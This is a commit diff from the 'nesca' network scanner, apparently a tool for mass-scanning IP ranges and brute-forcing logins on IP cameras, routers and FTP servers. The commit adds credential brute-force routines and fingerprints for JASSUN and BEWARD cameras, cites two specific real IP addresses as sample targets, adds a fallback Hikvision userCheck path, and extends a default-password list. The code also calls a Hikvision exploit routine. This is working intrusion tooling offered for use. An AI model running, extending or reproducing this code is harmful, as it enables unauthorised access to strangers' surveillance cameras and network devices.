mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 18:52:19 +00:00
nesca.pro update
This commit is contained in:
parent
8c910fd88c
commit
86060899de
@ -53,6 +53,32 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
||||
int passCounter = 0;
|
||||
int res = 0;
|
||||
|
||||
res = Connector::nConnect(ip, port, &buffer);
|
||||
if (res == -2) return lps;
|
||||
|
||||
int isDig = 0;
|
||||
isDig = Utils::isDigest(&buffer);
|
||||
if (isDig == -1) {
|
||||
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" +
|
||||
QString(ip) + ":" + QString::number(port) + "</a></span>");
|
||||
strcpy(lps.login, "");
|
||||
return lps;
|
||||
}
|
||||
else if (isDig == 1) {
|
||||
if (digestMode != true) {
|
||||
digestMode = true;
|
||||
stt->doEmitionRedFoundData("Digest selector mismatch - <a style=\"color:orange;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" +
|
||||
QString(ip) + ":" + QString::number(port) + "</a>");
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (digestMode != false) {
|
||||
digestMode = false;
|
||||
stt->doEmitionRedFoundData("Digest selector mismatch - <a style=\"color:orange;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" +
|
||||
QString(ip) + ":" + QString::number(port) + "</a>");
|
||||
};
|
||||
}
|
||||
|
||||
if (commenceHikvisionEx1(ip, port, digestMode)) {
|
||||
stt->doEmitionGreenFoundData("Hikvision exploit triggered! (" +
|
||||
QString(ip) + ":" +
|
||||
|
259
Connector.cpp
259
Connector.cpp
@ -2,6 +2,7 @@
|
||||
#include "SSHAuth.h"
|
||||
#include "Filter.h"
|
||||
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
int _pingMyTarget(const char *ip)
|
||||
{
|
||||
@ -105,15 +106,33 @@ int my_trace(CURL *handle, curl_infotype type,
|
||||
return 0;
|
||||
}
|
||||
|
||||
//struct MemoryStruct {
|
||||
// char *memory;
|
||||
// size_t size;
|
||||
//};
|
||||
size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
|
||||
{
|
||||
((std::string*)userp)->append((char*)contents, size * nmemb);
|
||||
Activity += nmemb;
|
||||
int ssz = ((std::string*)userp)->size();
|
||||
if(ssz > 180000) {
|
||||
return -1;
|
||||
}
|
||||
return size * nmemb;
|
||||
size_t realsize = size * nmemb;
|
||||
if (((std::string*)userp)->size() > 180000) return -1;
|
||||
((std::string*)userp)->append((char*)contents, realsize);
|
||||
Activity += realsize;
|
||||
return realsize;
|
||||
|
||||
//struct MemoryStruct *mem = (struct MemoryStruct *)userp;
|
||||
//if (mem->size > 180000) return -1;
|
||||
//size_t realsize = size * nmemb;
|
||||
//mem->memory = (char*)realloc(mem->memory, mem->size + realsize + 1);
|
||||
|
||||
//if (mem->memory == NULL) {
|
||||
// stt->doEmitionRedFoundData("not enough memory (realloc returned NULL)\n");
|
||||
// return 0;
|
||||
//}
|
||||
|
||||
//memcpy(&(mem->memory[mem->size]), contents, realsize);
|
||||
//mem->size += realsize;
|
||||
//mem->memory[mem->size] = 0;
|
||||
//Activity += realsize;
|
||||
//return realsize;
|
||||
}
|
||||
|
||||
int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
@ -122,8 +141,16 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
const std::string *lpString,
|
||||
bool digestMode){
|
||||
buffer->clear();
|
||||
//buffer->reserve(100000);
|
||||
int res = 0;
|
||||
CURL *curl = curl_easy_init();
|
||||
|
||||
//struct MemoryStruct chunk;
|
||||
|
||||
//chunk.memory = (char*)malloc(1); /* will be grown as needed by the realloc above */
|
||||
//chunk.size = 0; /* no data at this point */
|
||||
//std::string buffer2;
|
||||
|
||||
if (curl != NULL)
|
||||
{
|
||||
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
||||
@ -143,15 +170,14 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback);
|
||||
//curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *)&chunk);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
|
||||
int proxyPort = std::atoi(gProxyPort);
|
||||
if (strlen(gProxyIP) != 0 && (proxyPort > 0 && proxyPort < 65535)) {
|
||||
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
||||
curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
||||
}
|
||||
else {
|
||||
curl_easy_setopt(curl, CURLOPT_PROXY, "");
|
||||
}
|
||||
else curl_easy_setopt(curl, CURLOPT_PROXY, "");
|
||||
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
|
||||
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);
|
||||
@ -161,14 +187,10 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
if (customHeaders != NULL) {
|
||||
|
||||
struct curl_slist *chunk = NULL;
|
||||
|
||||
for (auto &ch : *customHeaders) chunk = curl_slist_append(chunk, ch.c_str());
|
||||
|
||||
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
|
||||
}
|
||||
|
||||
int res = 0;
|
||||
|
||||
if (lpString != NULL) {
|
||||
curl_easy_setopt(curl, CURLOPT_UNRESTRICTED_AUTH, 1L);
|
||||
curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, 1L);
|
||||
@ -178,6 +200,11 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_DIGEST);
|
||||
res = curl_easy_perform(curl);
|
||||
|
||||
//if (chunk.size > 0){
|
||||
// //buffer2 = std::string(chunk.memory);
|
||||
// buffer->append(chunk.memory, chunk.size);
|
||||
//}
|
||||
|
||||
if (port != 21 && lpString != NULL) {
|
||||
int pos = Utils::ustrstr(*buffer, "\r\n\r\n");
|
||||
if (pos != -1) {
|
||||
@ -188,17 +215,27 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
else res = curl_easy_perform(curl);
|
||||
}
|
||||
else res = curl_easy_perform(curl);
|
||||
curl_easy_cleanup(curl);
|
||||
|
||||
//if (chunk.size > 0){
|
||||
// //buffer2 = std::string(chunk.memory);
|
||||
// buffer->append(chunk.memory, chunk.size);
|
||||
//}
|
||||
|
||||
|
||||
if (res == CURLE_OK ||
|
||||
(port == 21 && buffer->size() > 0)) {
|
||||
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||
Activity += buffer->size();
|
||||
|
||||
curl_easy_cleanup(curl);
|
||||
return buffer->size();
|
||||
} else {
|
||||
|
||||
curl_easy_cleanup(curl);
|
||||
if (res == 6) return -2;
|
||||
else if (res != 28 &&
|
||||
res != 7 &&
|
||||
res != 13 &&
|
||||
res != 67 &&
|
||||
res != 52 &&
|
||||
res != 55 &&
|
||||
@ -209,11 +246,6 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
if (res == 5) {
|
||||
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
|
||||
return -2;
|
||||
}
|
||||
else if (res == 13) {
|
||||
stt->doEmitionFoundData("Unknown ftp. (" + QString::number(res) + ") " +
|
||||
QString(ip) + ":" + QString::number(port));
|
||||
return -2;
|
||||
} else if (res == 8) {
|
||||
stt->doEmitionFoundData("Strange ftp reply. (" +
|
||||
QString::number(res) + ") " + QString(ip) +
|
||||
@ -235,14 +267,195 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
return buffer->size();
|
||||
} else return -1;
|
||||
}
|
||||
|
||||
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||
return buffer->size();
|
||||
} else {
|
||||
stt->doEmitionRedFoundData("Curl error.");
|
||||
return -1;
|
||||
};
|
||||
|
||||
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||
return buffer->size();
|
||||
}
|
||||
//
|
||||
//int Connector::nConnect2(const char* ip, const int port, std::string *buffer,
|
||||
// const char *postData,
|
||||
// const std::vector<std::string> *customHeaders,
|
||||
// const std::string *lpString,
|
||||
// bool digestMode)
|
||||
//{
|
||||
// buffer->clear();
|
||||
//
|
||||
// int still_running;
|
||||
// struct timeval timeout;
|
||||
// int res = 0;
|
||||
// CURL *curl = curl_easy_init();
|
||||
//
|
||||
// if (curl != NULL)
|
||||
// {
|
||||
// curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
||||
// if (MapWidgetOpened) {
|
||||
// struct data config;
|
||||
// config.trace_ascii = 1; /* enable ascii tracing */
|
||||
// curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace);
|
||||
// curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config);
|
||||
// curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
|
||||
// }
|
||||
// curl_easy_setopt(curl, CURLOPT_URL, ip);
|
||||
// curl_easy_setopt(curl, CURLOPT_PORT, port);
|
||||
// curl_easy_setopt(curl, CURLOPT_USERAGENT,
|
||||
// "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0");
|
||||
// curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
|
||||
// curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L);
|
||||
// curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
||||
// curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
|
||||
// curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback);
|
||||
// curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
|
||||
// int proxyPort = std::atoi(gProxyPort);
|
||||
// if (strlen(gProxyIP) != 0 && (proxyPort > 0 && proxyPort < 65535)) {
|
||||
// curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
||||
// curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
||||
// }
|
||||
// else {
|
||||
// curl_easy_setopt(curl, CURLOPT_PROXY, "");
|
||||
// }
|
||||
// curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
|
||||
// curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||
// curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);
|
||||
//
|
||||
// if (postData != NULL) curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
|
||||
//
|
||||
// if (customHeaders != NULL) {
|
||||
// struct curl_slist *chunk = NULL;
|
||||
// for (auto &ch : *customHeaders) chunk = curl_slist_append(chunk, ch.c_str());
|
||||
// curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
|
||||
// }
|
||||
//
|
||||
// if (lpString != NULL) {
|
||||
// curl_easy_setopt(curl, CURLOPT_UNRESTRICTED_AUTH, 1L);
|
||||
// curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, 1L);
|
||||
// curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str());
|
||||
// if (digestMode) curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_DIGEST);
|
||||
// }
|
||||
//
|
||||
//
|
||||
// CURLM *multi_handle = curl_multi_init();
|
||||
// if (multi_handle == NULL) stt->doEmitionRedFoundData("curl_multi_init == NULL!");
|
||||
// curl_multi_add_handle(multi_handle, curl);
|
||||
//
|
||||
// do { res = curl_multi_perform(multi_handle, &still_running); }
|
||||
// while (res == CURLM_CALL_MULTI_PERFORM);
|
||||
//
|
||||
// while (still_running) {
|
||||
// fd_set fdread;
|
||||
// fd_set fdwrite;
|
||||
// fd_set fdexcep;
|
||||
// int maxfd = -1;
|
||||
//
|
||||
// FD_ZERO(&fdread);
|
||||
// FD_ZERO(&fdwrite);
|
||||
// FD_ZERO(&fdexcep);
|
||||
//
|
||||
// timeout.tv_sec = gTimeOut;
|
||||
// timeout.tv_usec = 0;
|
||||
//
|
||||
// curl_multi_fdset(multi_handle, &fdread, &fdwrite, &fdexcep, &maxfd);
|
||||
//
|
||||
//#ifdef _WIN32
|
||||
// Sleep(100);
|
||||
//#else
|
||||
// struct timeval wait = { 0, 100 * 1000 }; /* 100ms */
|
||||
// rc = select(0, NULL, NULL, NULL, &wait);
|
||||
//#endif
|
||||
//
|
||||
// /* get file descriptors from the transfers */
|
||||
// switch (select(maxfd + 1, &fdread, &fdwrite, &fdexcep, &timeout)) {
|
||||
// case -1:
|
||||
// /* select error */
|
||||
// still_running = 0;
|
||||
// stt->doEmitionRedFoundData("select() returns error, this is badness");
|
||||
// break;
|
||||
// case 0:
|
||||
// default:
|
||||
// /* timeout or readable/writable sockets */
|
||||
// do
|
||||
// {
|
||||
// res = curl_multi_perform(multi_handle, &still_running);
|
||||
// } while (res == CURLM_CALL_MULTI_PERFORM);
|
||||
// break;
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// curl_multi_remove_handle(multi_handle, curl);
|
||||
// curl_multi_cleanup(multi_handle);
|
||||
// curl_easy_cleanup(curl);
|
||||
//
|
||||
// if (res == CURLE_OK ||
|
||||
// (port == 21 && buffer->size() > 0)) {
|
||||
//
|
||||
// if (digestMode)
|
||||
// {
|
||||
// if (port != 21 && lpString != NULL) {
|
||||
// int pos = Utils::ustrstr(*buffer, "\r\n\r\n");
|
||||
// if (pos != -1) {
|
||||
// *buffer = buffer->substr(pos + 4);
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||
// Activity += buffer->size();
|
||||
// return buffer->size();
|
||||
// }
|
||||
// else {
|
||||
// if (res == 6) return -2;
|
||||
// else if (res != 28 &&
|
||||
// res != 7 &&
|
||||
// res != 67 &&
|
||||
// res != 52 &&
|
||||
// res != 55 &&
|
||||
// res != 56 &&
|
||||
// res != 35 &&
|
||||
// res != 19 &&
|
||||
// res != 23) {
|
||||
// if (res == 5) {
|
||||
// stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
|
||||
// return -2;
|
||||
// }
|
||||
// else if (res == 13) {
|
||||
// stt->doEmitionFoundData("Unknown ftp. (" + QString::number(res) + ") " +
|
||||
// QString(ip) + ":" + QString::number(port));
|
||||
// return -2;
|
||||
// }
|
||||
// else if (res == 8) {
|
||||
// stt->doEmitionFoundData("Strange ftp reply. (" +
|
||||
// QString::number(res) + ") " + QString(ip) +
|
||||
// ":" + QString::number(port));
|
||||
// return -2;
|
||||
// }
|
||||
// else if (res == 18) {
|
||||
// stt->doEmitionFoundData("Inappropriate file size. (" +
|
||||
// QString::number(res) + ") " + QString(ip) +
|
||||
// ":" + QString::number(port));
|
||||
// return -2;
|
||||
// }
|
||||
// else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " +
|
||||
// QString(ip) + ":" + QString::number(port));
|
||||
// }
|
||||
//
|
||||
// if (res == 23 && buffer->size() > 0) {
|
||||
// if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString("[OVERFLOW]"));
|
||||
// return buffer->size();
|
||||
// }
|
||||
// else return -1;
|
||||
// }
|
||||
//
|
||||
// if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||
// return buffer->size();
|
||||
// }
|
||||
// else {
|
||||
// stt->doEmitionRedFoundData("Curl error.");
|
||||
// return -1;
|
||||
// };
|
||||
//}
|
||||
|
||||
int Connector::connectToPort(char* ip, int port)
|
||||
{
|
||||
|
@ -18,6 +18,11 @@ public:
|
||||
const std::vector<std::string> *customHeaders = NULL,
|
||||
const std::string *lpString = NULL,
|
||||
bool digestMode = false);
|
||||
//static int nConnect2(const char* ip, const int port, std::string *buffer,
|
||||
// const char *postData = NULL,
|
||||
// const std::vector<std::string> *customHeaders = NULL,
|
||||
// const std::string *lpString = NULL,
|
||||
// bool digestMode = false);
|
||||
static int connectToPort(char *ip, int port);
|
||||
};
|
||||
#endif // CONNECTOR_H
|
||||
|
19
IPCAuth.cpp
19
IPCAuth.cpp
@ -70,6 +70,14 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
{
|
||||
negVector.push_back("Not logged in");
|
||||
}
|
||||
else if (strcmp(SPEC, "JASSUN") == 0)
|
||||
{
|
||||
negVector.push_back("Log in failed");
|
||||
}
|
||||
else if (strcmp(SPEC, "BEWARD") == 0)
|
||||
{
|
||||
negVector.push_back("/error.asp");
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
|
||||
@ -154,6 +162,17 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
sprintf(request, "%s:%d/login.html", ip, port);
|
||||
sprintf(postData, "username=%s&password=%s&Redir=/", login, pass);
|
||||
}
|
||||
else if (strcmp(SPEC, "JASSUN") == 0)
|
||||
{
|
||||
doPost = true;
|
||||
sprintf(request, "%s:%d/Login.htm", ip, port);
|
||||
sprintf(postData, "command=login&username=%s&password=%s", login, pass);
|
||||
}
|
||||
else if (strcmp(SPEC, "BEWARD") == 0)
|
||||
{
|
||||
sprintf(request, "%s:%d/webs/httplogin?username=%s&password=%s&UserID=45637757",
|
||||
ip, port, login, pass);
|
||||
}
|
||||
|
||||
std::string buffer;
|
||||
if(doPost) res = Connector::nConnect(request, port, &buffer, postData);
|
||||
|
@ -84,7 +84,6 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
|
||||
}
|
||||
}
|
||||
|
||||
curl_easy_cleanup(curl);
|
||||
++ssh;
|
||||
return 0;
|
||||
}
|
||||
|
@ -28,7 +28,7 @@ void Threader::cleanUp() {
|
||||
std::unique_lock<std::mutex> lk(m);
|
||||
lk.unlock();
|
||||
lk.release();
|
||||
Sleep(1500);
|
||||
Sleep(200);
|
||||
threadId = 0;
|
||||
std::queue<std::string> empty = {};
|
||||
std::swap(ipQueue, empty);
|
||||
|
21
Utils.cpp
21
Utils.cpp
@ -1,6 +1,27 @@
|
||||
#include "Utils.h"
|
||||
#include <sstream>
|
||||
|
||||
int Utils::isDigest(const std::string *buffer) {
|
||||
if (Utils::ustrstr(buffer, "401 authorization") != -1
|
||||
|| Utils::ustrstr(buffer, "401 unauthorized") != -1
|
||||
|| (Utils::ustrstr(buffer, "www-authenticate") != -1
|
||||
&& Utils::ustrstr(buffer, "401 ") != -1
|
||||
)
|
||||
|| Utils::ustrstr(buffer, "401 unauthorized access denied") != -1
|
||||
|| Utils::ustrstr(buffer, "401 unauthorised") != -1
|
||||
|| (Utils::ustrstr(buffer, "www-authenticate") != -1
|
||||
&& Utils::ustrstr(buffer, " 401\r\n") != -1
|
||||
)
|
||||
) {
|
||||
if (Utils::ustrstr(buffer, "digest realm") != -1
|
||||
&& Utils::ustrstr(buffer, "basic realm") == -1) {
|
||||
return 1;
|
||||
}
|
||||
else return 0;
|
||||
};
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::vector<std::string> Utils::splitToStrVector(const std::string &s, char delim) {
|
||||
std::vector<std::string> elems;
|
||||
std::stringstream ss(s);
|
||||
|
2
Utils.h
2
Utils.h
@ -24,6 +24,8 @@ private:
|
||||
|
||||
class Utils {
|
||||
public:
|
||||
static int isDigest(const std::string *buffer);
|
||||
|
||||
// find substring (case insensitive)
|
||||
template<typename T> static int ustrstr(const T& str1,
|
||||
const T& str2,
|
||||
|
27
finder.cpp
27
finder.cpp
@ -272,6 +272,10 @@ int globalSearchPrnt(const std::string *buff)
|
||||
|
||||
int sharedDetector(const char * ip, int port, const std::string *buffcpy, const char *cp) {
|
||||
|
||||
int isDig = Utils::isDigest(buffcpy);
|
||||
if (isDig == 1) return 101;
|
||||
else if (isDig == 0) return 1;
|
||||
|
||||
if(Utils::ustrstr(buffcpy, "401 authorization") != -1
|
||||
|| Utils::ustrstr(buffcpy, "401 unauthorized") != -1
|
||||
|| (Utils::ustrstr(buffcpy, "www-authenticate") != -1
|
||||
@ -384,6 +388,12 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const
|
||||
if (Utils::ustrstr(buffcpy, "webcamXP") != -1
|
||||
&& Utils::ustrstr(buffcpy, "a valid username/password") != -1
|
||||
) return 52; //Webcamxp5
|
||||
if (Utils::ustrstr(buffcpy, "NetSuveillance") != -1
|
||||
&& Utils::ustrstr(buffcpy, "l_bgm.gif") != -1
|
||||
) return 53; //Jassun (http://176.32.180.42/Login.htm)
|
||||
if (Utils::ustrstr(buffcpy, "WEB SERVICE") != -1
|
||||
&& Utils::ustrstr(buffcpy, "jsmain/liveview.js") != -1
|
||||
) return 54; //Beward (http://46.146.243.88:88/login.asp)
|
||||
|
||||
if(((Utils::ustrstr(buffcpy, "220") != -1) && (port == 21)) ||
|
||||
(Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) ||
|
||||
@ -1209,7 +1219,7 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char
|
||||
|
||||
int _specBrute(const char *ip, int port,
|
||||
char *finalstr, int flag,
|
||||
char *path, char *comment, char *cp, int size)
|
||||
char *path, char *comment, char *cp, int size, const std::string *buffer = NULL)
|
||||
{
|
||||
const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port, (strcmp(comment, "[DIGEST]") == 0 ? true : false));
|
||||
|
||||
@ -1223,7 +1233,6 @@ int _specBrute(const char *ip, int port,
|
||||
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
||||
{
|
||||
_specFillerBA(ip, port, finalstr, lps.login, lps.pass, flag);
|
||||
|
||||
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
|
||||
};
|
||||
}
|
||||
@ -2479,7 +2488,9 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
||||
}
|
||||
else if (flag == 34) //Hikvision ip cam
|
||||
{
|
||||
_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, size);
|
||||
if (_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, size) == -1){
|
||||
_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/HIK/userCheck", "Basic Authorization", cp, size);
|
||||
}
|
||||
}
|
||||
else if (flag == 35) //EasyCam
|
||||
{
|
||||
@ -2584,12 +2595,22 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
||||
{
|
||||
_specWEBIPCAMBrute(ip, port, "[WEBCAMXP] WEB IP Camera", flag, "WEB Authorization", cp, size, "WEBCAMXP");
|
||||
}
|
||||
else if (flag == 53) //Jassun
|
||||
{
|
||||
_specWEBIPCAMBrute(ip, port, "[JASSUN] WEB IP Camera", flag, "WEB Authorization", cp, size, "JASSUN");
|
||||
}
|
||||
else if (flag == 54) //Beward
|
||||
{
|
||||
_specWEBIPCAMBrute(ip, port, "[BEWARD] WEB IP Camera", flag, "WEB Authorization", cp, size, "BEWARD");
|
||||
}
|
||||
else if (flag == 20) //AXIS Camera
|
||||
{
|
||||
if (_specBrute(ip, port, "AXIS Camera", flag, "/mjpg/video.mjpg", "Basic Authorization", cp, size) == -1) {
|
||||
if (_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size) == -1) {
|
||||
_specBrute(ip, port, "AXIS Camera", flag, "/view/viewer_index.shtml?", "Basic Authorization", cp, size);
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (flag == 19) //reecam cameras
|
||||
{
|
||||
_specBrute(ip, port, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, size);
|
||||
|
@ -26,3 +26,8 @@ backup
|
||||
cgadmin
|
||||
0000
|
||||
1111
|
||||
666666
|
||||
888888
|
||||
777777
|
||||
555555
|
||||
111222333
|
@ -1,6 +1,8 @@
|
||||
Unable to open
|
||||
WebDAV
|
||||
Ruckus Wireless
|
||||
Access is denied
|
||||
access denied
|
||||
Company Limited
|
||||
àðåíäà ñåðâ
|
||||
首页
|
||||
@ -43,7 +45,6 @@ Authorization Required
|
||||
ïîêóï
|
||||
yadro.ru
|
||||
liveinternet
|
||||
#[Dlink]
|
||||
DIR-100
|
||||
DIR-615
|
||||
DIR-140
|
||||
@ -75,14 +76,11 @@ no connections allowed
|
||||
pocket-solution
|
||||
trustclick
|
||||
òîðã
|
||||
#[/Dlink]
|
||||
530 User access denied
|
||||
prelogin
|
||||
service temporarily unavailable
|
||||
service is temporary unavailable
|
||||
service unavailable
|
||||
403 - forbidden
|
||||
403 access denied
|
||||
is still available
|
||||
php framework
|
||||
BlueBean
|
||||
@ -464,7 +462,6 @@ olaHola
|
||||
Wireless N ADSL
|
||||
Account Suspended
|
||||
Session limit reached
|
||||
Access Error: Access Denied
|
||||
Aethra
|
||||
meble
|
||||
microsoft exchange
|
||||
@ -693,7 +690,6 @@ TP-LINK Wireless
|
||||
RT-N
|
||||
RT-G
|
||||
dir320
|
||||
Access denied for user
|
||||
underconstr
|
||||
test page
|
||||
has been banned
|
||||
|
@ -27,7 +27,6 @@ SOURCES +=\
|
||||
DrawerTh_VoiceScanner.cpp \
|
||||
msgcheckerthread.cpp \
|
||||
nesca_3.cpp \
|
||||
nesca_startModule.cpp \
|
||||
piestat.cpp \
|
||||
progressbardrawer.cpp \
|
||||
STh.cpp \
|
||||
|
442
nesca_3.cpp
442
nesca_3.cpp
@ -531,12 +531,6 @@ void SetValidators()
|
||||
QRegExp("([\\d*|.|//|-])+"),
|
||||
NULL
|
||||
);
|
||||
ui->ipLine->setValidator(validator);
|
||||
|
||||
validator = new QRegExpValidator(QRegExp("(\\d{1,5}[,|-]\\s{0,1})+"), NULL);
|
||||
ui->ipmPortLine->setValidator(validator);
|
||||
ui->dnsPortLine->setValidator(validator);
|
||||
ui->importPortLine->setValidator(validator);
|
||||
|
||||
validator = new QRegExpValidator(QRegExp("\\d{1,3}"), NULL);
|
||||
ui->importThreads->setValidator(validator);
|
||||
@ -1267,74 +1261,6 @@ void nesca_3::activatePieStatBut()
|
||||
};
|
||||
}
|
||||
|
||||
bool stopFirst;
|
||||
void nesca_3::importAndScan()
|
||||
{
|
||||
if(startFlag == false)
|
||||
{
|
||||
if(trackerOK)
|
||||
{
|
||||
if(ui->linePersKey->text().size() != 0)
|
||||
{
|
||||
CheckPersKey(2);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("Empty \"Personal key\" field. ");
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionStartScanImport();
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
ui->importButton->setStyleSheet(
|
||||
" QPushButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: yellow;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
|
||||
ui->importButton->setText("Wait...");
|
||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||
globalScanFlag = false;
|
||||
|
||||
if(stopFirst == false)
|
||||
{
|
||||
stopFirst = true;
|
||||
ui->importButton->setStyleSheet(
|
||||
" QPushButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: red;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
|
||||
ui->importButton->setText("STOP!");
|
||||
stt->doEmitionBlockButton(true);
|
||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||
importFileName = "";
|
||||
}
|
||||
else
|
||||
{
|
||||
ui->importButton->setStyleSheet(
|
||||
" QPushButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: yellow;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
|
||||
ui->importButton->setText("Wait...");
|
||||
stt->doEmitionYellowFoundData("Wait, killing threads...");
|
||||
STTTerminate();
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
void nesca_3::switchDataFields()
|
||||
{
|
||||
if(ui->switcherBut->text() == "<")
|
||||
